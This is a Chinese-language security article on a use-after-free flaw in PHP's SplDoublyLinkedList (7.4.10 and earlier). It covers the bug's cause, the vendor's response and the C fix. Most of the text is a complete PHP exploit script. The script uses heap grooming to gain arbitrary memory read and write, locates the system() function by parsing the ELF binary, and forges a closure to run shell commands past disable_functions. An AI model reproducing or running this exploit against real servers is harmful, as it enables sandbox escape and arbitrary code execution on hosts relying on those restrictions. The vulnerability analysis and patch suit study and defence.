PHPSplDoublyLinkedList中的用后释放漏洞的示例分析
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漏洞描述
PHP的SplDoublyLinkedList双向链表库中存在一个用后释放漏洞，该漏洞将允许攻击者通过运行PHP代码来转义disable_functions限制函数。在该漏洞的帮助下，远程攻击者将能够实现PHP沙箱逃逸，并执行任意代码。更准确地来说，成功利用该漏洞后，攻击者将能够绕过PHP的某些限制，例如disable_functions和safe_mode等等。
受影响版本
PHP v8.0（Alpha）；
PHP v7.4.10及其之前版本；
厂商回应
根据我们的安全分类，我们认为这并非一个安全问题，因为它需要在服务器端执行非常特殊的代码才能够触发该漏洞。如果攻击者能够实现代码注入，那么肯定是由一个比该漏洞更加严重的漏洞存在所导致的。
漏洞分析
SplDoublyLinkedList是PHP中的一个双向链表库（DLL），这个库支持进行迭代，即能够存储一个指针指向当前的DLL元素以实现迭代。这样一来，开发人员就可以通过调用next()和prev()来让DLL指向其他的元素了。
当我们删除DLL中的某个元素之后，PHP将从DLL中移除该元素，然后销毁掉zval，如果指针指向该元素的话，那么就存在空指针问题了。因此，当zval被销毁之后，当前指针仍然指向相关联元素，即使其已经被从链表中移除了。这样一来，用后释放问题便出现了，因为我们可以通过在zval的构造器中调用$dll->next()或$dll->prev()来触发该漏洞。
利用输入参数触发漏洞
我们可以使用两个值来创建一个SplDoublyLinkedList对象$s，第一个值是一个带有特殊结构体__destruct 的对象，另一个值我们不用理会。接下来，我们可以调用$s->rewind()来让当前迭代元素的指针指向我们的对象。当我们调用$s->offsetUnset(0)时，它将会调用底层C函数SPL_METHOD(SplDoublyLinkedList, offsetUnset)（该函数存在于ext/spl/spl_dllist.c中），这个函数将完成以下几件事情：
1、通过设置下列参数将元素从双线链表中移除：
element->prev->next = element->next element->next->prev = element->prev
2、销毁相关的zval（llist->dtor）；
3、如果intern->traverse_pointer指向目标元素，它会将指针设置为NULL；
在第二步中，会调用我们对象的__destruct方法，而intern->traverse_pointer仍然会指向该元素。为了触发用后释放问题，我们需要做下列几件事情：
通过调用$s->offsetUnset(0)来移除双向链表中的第二个元素，让intern->traverse_pointer->next指向一个未分配的空间；
调用$s->next()：调用链为intern->traverse_pointer = intern->traverse_pointer->next。由于该地址已在第一步被释放，那么traverse_pointer将指向一个未分配的地址；
使用$s->current()，我们将能够访问未分配的地址，从而触发用后释放漏洞；
漏洞修复
需要在销毁zval之前清理掉intern->traverse_pointer指针，随后删除相关的引用。参考代码如下：
was_traverse_pointer = 0;
// Clear the current pointer
if (intern->traverse_pointer == element) {
intern->traverse_pointer = NULL;
was_traverse_pointer = 1;
}
if(llist->dtor) {
llist->dtor(element);
}
if(was_traverse_pointer) {
SPL_LLIST_DELREF(element);
}
// In the current implementation, this part is useless, because
// llist->dtor will UNDEF the zval before
zval_ptr_dtor(&element->data);
ZVAL_UNDEF(&element->data);
SPL_LLIST_DELREF(element);利用演示
漏洞利用
next() or
# $dll->prev() in the zval's destructor.
#
#
error_reporting(E_ALL);
define('NB_DANGLING', 200);
define('SIZE_ELEM_STR', 40 - 24 - 1);
define('STR_MARKER', 0xcf5ea1);
function i2s(&$s, $p, $i, $x=8)
{
for($j=0;$j<$x;$j++)
{
$s[$p+$j] = chr($i & 0xff);
$i >>= 8;
}
}
function s2i(&$s, $p, $x=8)
{
$i = 0;
for($j=$x-1;$j>=0;$j--)
{
$i <<= 8;
$i |= ord($s[$p+$j]);
}
return $i;
}
class UAFTrigger
{
function __destruct()
{
global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets;
#"print('UAF __destruct: ' . "\n");
$dlls[NB_DANGLING]->offsetUnset(0);
# At this point every $dll->current points to the same freed chunk. We allocate
# that chunk with a string, and fill the zval part
$fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
i2s($fake_dll_element, 0x00, 0x12345678); # ptr
i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff
# Each of these dlls current->next pointers point to the same location,
# the string we allocated. When calling next(), our fake element becomes
# the current value, and as such its rc is incremented. Since rc is at
# the same place as zend_string.len, the length of the string gets bigger,
# allowing to R/W any part of the following memory
for($i = 0; $i <= NB_DANGLING; $i++)
$dlls[$i]->next();
if(strlen($fake_dll_element) <= SIZE_ELEM_STR)
die('Exploit failed: fake_dll_element did not increase in size');
$leaked_str_offsets = [];
$leaked_str_zval = [];
# In the memory after our fake element, that we can now read and write,
# there are lots of zend_string chunks that we allocated. We keep three,
# and we keep track of their offsets.
for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40)
{
# If we find a string marker, pull it from the string list
if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER)
{
$leaked_str_offsets[] = $offset;
$leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)];
if(count($leaked_str_zval) == 3)
break;
}
}
if(count($leaked_str_zval) != 3)
die('Exploit failed: unable to leak three zend_strings');
# free the strings, except the three we need
$strs = null;
# Leak adress of first chunk
unset($leaked_str_zval[0]);
unset($leaked_str_zval[1]);
unset($leaked_str_zval[2]);
$first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]);
# At this point we have 3 freed chunks of size 40, which we can read/write,
# and we know their address.
print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n");
# In the third one, we will allocate a DLL element which points to a zend_array
$rw_dll->push([3]);
$array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18);
# Change the zval type from zend_object to zend_string
i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);
if(gettype($rw_dll[0]) != 'string')
die('Exploit failed: Unable to change zend_array to zend_string');
# We can now read anything: if we want to read 0x11223300, we make zend_string*
# point to 0x11223300-0x10, and read its size using strlen()
# Read zend_array->pDestructor
$zval_ptr_dtor_addr = read($array_addr + 0x30);
print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n");
# Use it to find zif_system
$system_addr = get_system_address($zval_ptr_dtor_addr);
print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n");
# In the second freed block, we create a closure and copy the zend_closure struct
# to a string
$rw_dll->push(function ($x) {});
$closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18);
$data = str_shuffle(str_repeat('A', 0x200));
for($i = 0; $i < 0x138; $i += 8)
{
i2s($data, $i, read($closure_addr + $i));
}
# Change internal func type and pointer to make the closure execute system instead
i2s($data, 0x38, 1, 4);
i2s($data, 0x68, $system_addr);
# Push our string, which contains a fake zend_closure, in the last freed chunk that
# we control, and make the second zval point to it.
$rw_dll->push($data);
$fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24;
i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure);
print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n");
# Calling it now
print('Running system("id");' . "\n");
$rw_dll[1]('id');
print_r('DONE'."\n");
}
}
class DanglingTrigger
{
function __construct($i)
{
$this->i = $i;
}
function __destruct()
{
global $dlls;
#D print('__destruct: ' . $this->i . "\n");
$dlls[$this->i]->offsetUnset(0);
$dlls[$this->i+1]->push(123);
$dlls[$this->i+1]->offsetUnset(0);
}
}
class SystemExecutor extends ArrayObject
{
function offsetGet($x)
{
parent::offsetGet($x);
}
}
/**
* Reads an arbitrary address by changing a zval to point to the address minus 0x10,
* and setting its type to zend_string, so that zend_string->len points to the value
* we want to read.
*/
function read($addr, $s=8)
{
global $fake_dll_element, $leaked_str_offsets, $rw_dll;
i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10);
i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);
$value = strlen($rw_dll[0]);
if($s != 8)
$value &= (1 << ($s << 3)) - 1;
return $value;
}
function get_binary_base($binary_leak)
{
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++)
{
$addr = $start - 0x1000 * $i;
$leak = read($addr, 7);
# ELF header
if($leak == 0x10102464c457f)
return $addr;
}
# We'll crash before this but it's clearer this way
die('Exploit failed: Unable to find ELF header');
}
function parse_elf($base)
{
$e_type = read($base + 0x10, 2);
$e_phoff = read($base + 0x20);
$e_phentsize = read($base + 0x36, 2);
$e_phnum = read($base + 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = read($header + 0x00, 4);
$p_flags = read($header + 0x04, 4);
$p_vaddr = read($header + 0x10);
$p_memsz = read($header + 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
die('Exploit failed: Unable to parse ELF');
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = read($data_addr + $i * 8);
if($leak - $base > 0 && $leak < $data_addr) {
$deref = read($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = read($data_addr + ($i + 4) * 8);
if($leak - $base > 0 && $leak < $data_addr) {
$deref = read($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_system($basic_funcs)
{
$addr = $basic_funcs;
do {
$f_entry = read($addr);
$f_name = read($f_entry, 6);
if($f_name == 0x6d6574737973) { # system
return read($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function get_system_address($binary_leak)
{
$base = get_binary_base($binary_leak);
print('ELF base: 0x' .dechex($base) . "\n");
$elf = parse_elf($base);
$basic_funcs = get_basic_funcs($base, $elf);
print('Basic functions: 0x' .dechex($basic_funcs) . "\n");
$zif_system = get_system($basic_funcs);
return $zif_system;
}
$dlls = [];
$strs = [];
$rw_dll = new SplDoublyLinkedList();
# Create a chain of dangling triggers, which will all in turn
# free current->next, push an element to the next list, and free current
# This will make sure that every current->next points the same memory block,
# which we will UAF.
for($i = 0; $i < NB_DANGLING; $i++)
{
$dlls[$i] = new SplDoublyLinkedList();
$dlls[$i]->push(new DanglingTrigger($i));
$dlls[$i]->rewind();
}
# We want our UAF'd list element to be before two strings, so that we can
# obtain the address of the first string, and increase is size. We then have
# R/W over all memory after the obtained address.
define('NB_STRS', 50);
for($i = 0; $i < NB_STRS; $i++)
{
$strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
i2s($strs[$i], 0, STR_MARKER);
i2s($strs[$i], 8, $i, 7);
}
# Free one string in the middle, ...
$strs[NB_STRS - 20] = 123;
# ... and put the to-be-UAF'd list element instead.
$dlls[0]->push(0);
# Setup the last DLlist, which will exploit the UAF
$dlls[NB_DANGLING] = new SplDoublyLinkedList();
$dlls[NB_DANGLING]->push(new UAFTrigger());
$dlls[NB_DANGLING]->rewind();
# Trigger the bug on the first list
$dlls[0]->offsetUnset(0);上述就是小编为大家分享的PHP SplDoublyLinkedList中的用后释放漏洞的示例分析了，如果刚好有类似的疑惑，不妨参照上述分析进行理解。如果想知道更多相关知识，欢迎关注创新互联行业资讯频道。
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